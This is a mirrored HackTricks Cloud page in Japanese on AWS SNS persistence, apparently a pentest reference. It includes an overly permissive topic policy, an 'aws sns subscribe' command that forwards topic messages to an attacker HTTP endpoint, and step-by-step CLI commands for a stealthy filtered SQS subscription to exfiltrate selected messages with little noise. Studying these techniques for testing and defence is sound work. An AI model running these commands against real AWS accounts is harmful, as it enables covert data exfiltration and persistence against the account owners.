mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-28 05:33:10 -08:00
AWS - SNS 永続化
{{#include ../../../../banners/hacktricks-training.md}}
SNS
詳細は次を参照:
{{#ref}} ../../aws-services/aws-sns-enum.md {{#endref}}
永続化
SNS topic を作成する際、IAM policy で 誰が読み書きできるか を指定する必要があります。外部アカウント、ARN of roles、または "*" を指定することも可能です。
次のポリシーは、MySNS.fifo という SNS topic に対して AWS 内のすべてのユーザーに読み書きアクセスを与えます:
{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}
サブスクライバーの作成
すべてのトピックからのメッセージを引き続き持ち出すため、攻撃者は すべてのトピックに対してサブスクライバーを作成することができる。
トピックが FIFO タイプ の場合、プロトコルが SQS のサブスクライバーのみ使用できることに注意してください。
aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
隠密で選択的な exfiltration(FilterPolicy を MessageBody に対して使用)
あるトピックに対して sns:Subscribe と sns:SetSubscriptionAttributes を持つ攻撃者は、JSON ボディが非常に狭いフィルタ(例: {"secret":"true"})に一致するメッセージのみを転送するステルスな SQS サブスクリプションを作成できます。これにより通信量と検出のリスクが低減され、機密レコードの exfiltration が可能になります。
潜在的な影響: 被害者トピックからターゲットとなる SNS メッセージのみを低ノイズで隠密に exfiltration する。
手順 (AWS CLI):
- 攻撃者の SQS キュー ポリシーが被害者の
TopicArnからのsqs:SendMessageを許可していることを確認する(Conditionaws:SourceArnがTopicArnと等しい)。 - トピックに対して SQS subscription を作成:
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
- フィルタを MessageBody に対して動作させ、
secret=trueのみをマッチさせる:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
- オプション(ステルス): RawMessageDelivery を有効にして、受信側に生のペイロードのみを届ける:
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
- 検証: 2 件のメッセージを publish し、攻撃者キューに届くのが最初のメッセージのみであることを確認する。例のペイロード:
{"secret":"true","data":"exfil"}
{"secret":"false","data":"benign"}
- クリーンアップ: 永続化テストのために作成した場合は、サブスクリプションを解除し攻撃者の SQS キューを削除する。
{{#include ../../../../banners/hacktricks-training.md}}